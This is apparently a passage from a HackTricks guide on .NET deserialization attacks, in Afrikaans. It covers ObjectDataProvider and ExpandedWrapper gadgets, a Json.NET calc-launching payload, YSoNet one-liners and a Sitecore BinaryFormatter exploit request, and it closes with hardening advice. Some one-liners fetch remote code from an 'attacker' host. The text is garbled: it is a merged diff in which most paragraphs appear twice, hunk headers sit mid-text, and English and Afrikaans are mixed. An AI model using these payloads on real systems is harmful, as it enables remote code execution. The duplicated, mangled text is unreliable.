Let wel dat dit nie die volledige kode van die funksie `QueryWorker` is nie, maar dit wys die interessante deel daarvan: Die kode **roep `this.InvokeMethodOnInstance(out ex);` aan;** dit is die lyn waar die **gestelde metode aangeroep word**.
As jy wil kyk dat net deur die _**MethodName**_** in te stel, dit uitgevoer sal word**, kan jy hierdie kode uitvoer:
As jy wil kontroleer dat slegs deur die _**MethodName**_ te stel dit uitgevoer sal word, kan jy hierdie kode uitvoer:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
}
}
```
Let wel dat jy as verwysing _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ moet byvoeg om `System.Windows.Data` te laai.
Let wel dat jy as verwysing _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ moet byvoeg om `System.Windows.Data` te laai
## ExpandedWrapper
Met behulp van die vorige ontploffing sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie **gedeserializeer gaan word** (byvoorbeeld in die DotNetNuke kwesbaarheid, met die gebruik van XmlSerializer, is die object gedeserializeer met `GetType`). Dan sal daar **geen kennis wees van die objektipe wat in die _ObjectDataProvider_ instansie ingepak is** (`Process` byvoorbeeld). Jy kan meer [inligting oor die DotNetNuke kwesbaarheid hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Deur die vorige exploit sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie gedeserialiseer word (byvoorbeeld in die DotNetNuke vuln, met XmlSerializer is die object gedeserialiseer deur `GetType`). In so 'n geval sal daar **geen kennis wees van die objektipe wat in die _ObjectDataProvider_ instansie ingepak is** (bv. `Process`). Jy kan meer [inligting oor die DotNetNuke vuln hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Hierdie klas laat toe om die **objektipe van die objek wat ingekapsel is** in 'n gegewe instansie te **specifiseer**. So, hierdie klas kan gebruik word om 'n bronobjek (_ObjectDataProvider_) in 'n nuwe objektipe in te kapsuleer en die eienskappe wat ons nodig het (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\
Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, want ons sal in staat wees om **_ObjectDataProvider**_ in 'n **_**ExpandedWrapper**_ instansie te **wrappen** en **wanneer dit gedeserializeer word** sal hierdie klas die _**OjectDataProvider**_ objek **skep** wat die **funksie** wat in _**MethodName**_ aangedui word, sal **uitvoer**.
Hierdie klas maak dit moontlik om die **objektipe van die objekte wat in 'n gegewe instansie ingekapsuleer is, te spesifiseer**. Dus kan hierdie klas gebruik word om 'n bronobject (_ObjectDataProvider_) te kapsuleer in 'n nuwe objektipe en die eienskappe wat ons nodig het te verskaf (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\
This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
Jy kan hierdie wrapper met die volgende kode nagaan:
Jy kan hierdie wrapper met die volgende kode bekyk:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
In die [amptelike webblad](https://www.newtonsoft.com/json) word aangedui dat hierdie biblioteek toelaat om **enige .NET objek met Json.NET se kragtige JSON serialiseerder te serialiseer en deserialiseer**. So, as ons die **ObjectDataProvider gadget** kon **deserialiseer**, kon ons 'n **RCE** veroorsaak net deur 'n objek te deserialiseer.
In the [official web page](https://www.newtonsoft.com/json) word aangedui dat hierdie biblioteek toelaat om **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Dus, as ons die **deserialize the ObjectDataProvider gadget** kon uitvoer, kon ons net deur 'n object te deserialiseer 'n **RCE** veroorsaak.
### Json.Net voorbeeld
Eerstens, kom ons kyk na 'n voorbeeld van hoe om 'n objek te **serialiseer/deserialiseer** met behulp van hierdie biblioteek:
Eerstens, kom ons kyk na 'n voorbeeld van hoe om 'n object met hierdie biblioteek te **serialize/deserialize**:
```java
using System;
using Newtonsoft.Json;
@ -134,9 +134,9 @@ Console.WriteLine(desaccount.Email);
```
### Misbruik van Json.Net
Met [ysoserial.net](https://github.com/pwntester/ysoserial.net) het ek die ontploffing geskep:
Met behulp van [ysoserial.net](https://github.com/pwntester/ysoserial.net) het ek die exploit geskep:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
In hierdie kode kan jy **die exploit toets**, hardloop dit net en jy sal sien dat 'n calc uitgevoer word:
In hierdie kode kan jy **toets the exploit**, voer dit net uit en jy sal sien dat 'n calc uitgevoer word:
```java
using System;
using System.Text;
@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
}
}
```
## Gevorderde .NET Gadget Kettings (YSoNet & ysoserial.net)
## Gevorderde .NET gadgetkettings (YSoNet & ysoserial.net)
Die ObjectDataProvider + ExpandedWrapper tegniek wat hierbo bekendgestel is, is slegs een van baie gadget kettings wat misbruik kan word wanneer 'n toepassing **onveilige .NET deserialisering** uitvoer. Moderne rooi-span gereedskap soos **[YSoNet](https://github.com/irsdl/ysonet)** (en die ouer [ysoserial.net](https://github.com/pwntester/ysoserial.net)) outomatiseer die skepping van **gereed-om-te-gebruik kwaadwillige objek grafieke** vir dosyne gadgets en serialisering formate.
Die ObjectDataProvider + ExpandedWrapper-tegniek wat hierbo bekendgestel is, is net een van BAIE gadgetkettings wat misbruik kan word wanneer 'n toepassing **onveilige .NET-deserialisering** uitvoer. Moderne red-team gereedskap soos **[YSoNet](https://github.com/irsdl/ysonet)** (en die ouer [ysoserial.net](https://github.com/pwntester/ysoserial.net)) outomatiseer die skep van **klaar-vir-gebruik kwaadwillige objekgrafieke** vir dosyne gadgets en serialiseringsformate.
Hieronder is 'n saamgeperste verwysing van die nuttigste kettings wat saam met *YSoNet* verskaf word, saam met 'n vinnige verduideliking van hoe hulle werk en voorbeeldopdragte om die payloads te genereer.
Hieronder is 'n samegeperste verwysing van die nuttigste kettings wat saam met *YSoNet* versend word, saam met 'n kort verduideliking van hoe hulle werk en voorbeeldopdragte om die payloads te genereer.
| Gadget Ketting | Sleutel Idee / Primitive | Algemene Serializers | YSoNet een-liner |
|----------------|--------------------------|----------------------|------------------|
| **TypeConfuseDelegate** | Korrupt die `DelegateSerializationHolder` rekord sodat, sodra dit gematerialiseer is, die delegate na *enige* aanvaller verskafde metode wys (bv. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Misbruik `System.Workflow.ComponentModel.ActivitySurrogateSelector` om *te omseil .NET ≥4.8 tipe-filtering* en direk die **konstruktors** van 'n verskafde klas aan te roep of 'n C#-lêer ter plaatse te **kompiler** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Maak gebruik van die **erf XML** voorstelling van `System.Data.DataSet` om arbitrêre tipes te instansieer deur die `<ColumnMapping>` / `<DataType>` velde in te vul (opsioneel die assembly te vervals met `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Op WPF-geaktiveerde runtime (> .NET 5) kettings eiendom getters totdat dit `System.CodeDom.Compiler.CompilerResults` bereik, dan *kompiler* of *laai* 'n DLL wat met `-c` verskaf is | `Json.NET` typeloos, `MessagePack` typeloos | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (hersien) | Gebruik WPF `System.Windows.Data.ObjectDataProvider` om 'n arbitrêre statiese metode met beheerde argumente aan te roep. YSoNet voeg 'n gerieflike `--xamlurl` variasie by om die kwaadwillige XAML op afstand te huisves | `BinaryFormatter`, `Json.NET`, `XAML`, *ens.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Inbed `ScriptBlock` in `System.Management.Automation.PSObject` wat uitvoer wanneer PowerShell die objek deserialiseer | PowerShell afstandsbediening, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| Gadget-ketting | Kernidee / Primitive | Algemene serializers | YSoNet eenreël |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Korrupteer die `DelegateSerializationHolder`-rekord sodat, sodra dit gematerialiseer is, die delegate na *enige* deur die aanvaller voorsiene metode wys (bv. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Misbruik `System.Workflow.ComponentModel.ActivitySurrogateSelector` om *om .NET ≥4.8 tipe-filtrering te omseil* en direk die **constructor** van 'n gegewe klas aan te roep of 'n C#-lêer onderweg te **compileer** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Benut die **erfenis-XML**-voorstelling van `System.Data.DataSet` om ewekansige tipes te instansieer deur die `<ColumnMapping>` / `<DataType>` velde te vul (opsioneel die assembly te vervals met `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Op WPF-ondersteunde runtimes (> .NET 5) ketting dit eienskaps-getters totdat dit by `System.CodeDom.Compiler.CompilerResults` kom, en **compileer** of **laai** dan 'n DLL wat met `-c` voorsien is | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Gebruik WPF `System.Windows.Data.ObjectDataProvider` om 'n ewekansige statiese metode met beheerste argumente aan te roep. YSoNet voeg 'n handige `--xamlurl` variant by om die kwaadwillige XAML op afstand te huisves | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Insluit `ScriptBlock` in `System.Management.Automation.PSObject` wat uitgevoer word wanneer PowerShell die objek deserialiseer | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Alle payloads word **standaard na *stdout*** geskryf, wat dit triviaal maak om hulle in ander gereedskap te pipen (bv. ViewState generators, base64 encoders, HTTP clients).
> Alle payloads word standaard na **stdout** geskryf, wat dit eenvoudig maak om hulle in ander gereedskap te pipe (bv. ViewState-generators, base64-enkodeerders, HTTP-kliënte).
### Bou / Installeer YSoNet
As daar geen vooraf-gecompileerde binaries beskikbaar is onder *Actions ➜ Artifacts* / *Releases*, sal die volgende **PowerShell** een-liner 'n bou omgewing opstel, die repository kloon en alles in *Release* modus compileer:
As daar geen vooraf-gekodeerde binaries beskikbaar is onder *Actions ➜ Artifacts* / *Releases* nie, sal die volgende **PowerShell** eenreël 'n build-omgewing opstel, die repository kloon en alles in *Release*-modus compileer:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -216,17 +216,48 @@ cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
Die gecompileerde `ysonet.exe` kan dan onder `ysonet/bin/Release/` gevind word.
Die gekompileerde `ysonet.exe` kan dan gevind word onder `ysonet/bin/Release/`.
### Opsporing & Versterking
* **Spore** onverwagte kindprosesse van `w3wp.exe`, `PowerShell.exe`, of enige proses wat gebruikersverskafde data deserialiseer (bv. `MessagePack`, `Json.NET`).
* Aktiveer en **handhaaf tipe-filtering** (`TypeFilterLevel` = *Volledig*, pasgemaakte `SurrogateSelector`, `SerializationBinder`, *ens.*) wanneer die ou `BinaryFormatter` / `NetDataContractSerializer` nie verwyder kan word nie.
### Detection & Hardening
* **Detecteer** onverwante child processes van `w3wp.exe`, `PowerShell.exe`, of enige proses wat deur die gebruiker verskafde data deserialiseer (e.g. `MessagePack`, `Json.NET`).
* Skakel en **dwing type-filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) in waar die verouderde `BinaryFormatter` / `NetDataContractSerializer` nie verwyder kan word nie.
* Waar moontlik migreer na **`System.Text.Json`** of **`DataContractJsonSerializer`** met witlys-gebaseerde omskakelaars.
* Blokkeer gevaarlike WPF-biblioteke (`PresentationFramework`, `System.Workflow.*`) om in webprosesse gelaai te word wat dit nooit nodig behoort te hê nie.
* Blokkeer gevaarlike WPF assemblies (`PresentationFramework`, `System.Workflow.*`) sodat dit nie in webprosesse gelaai kan word wat dit nooit behoort te benodig nie.
## Werklike sink: Sitecore convertToRuntimeHtml → BinaryFormatter
'n Praktiese .NET sink wat binne geauthentiseerde Sitecore XP Content Editor vloei bereik kan word:
- Sink API: `Sitecore.Convert.Base64ToObject(string)` verpak `new BinaryFormatter().Deserialize(...)`.
- Trigger path: pipeline `convertToRuntimeHtml``ConvertWebControls`, wat soek na 'n suster-element met `id="{iframeId}_inner"` en lees 'n `value` attribuut wat as base64-gekodeerde geseerialiseerde data behandel word. Die resultaat word ge-cast na string en in die HTML ingevoeg.
Minimale endtoend (geauthentiseer):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: enige BinaryFormatter-ketting wat 'n string teruggee (newe-effekte word tydens deserialisasie uitgevoer). Sien YSoNet/ysoserial.net om payloads te genereer.
Vir 'n volledige ketting wat preauth begin met HTML cache poisoning in Sitecore en na hierdie sink lei:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Verwysings
- [YSoNet .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net oorspronklike PoC-instrument](https://github.com/pwntester/ysoserial.net)
- [ysoserial.net original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}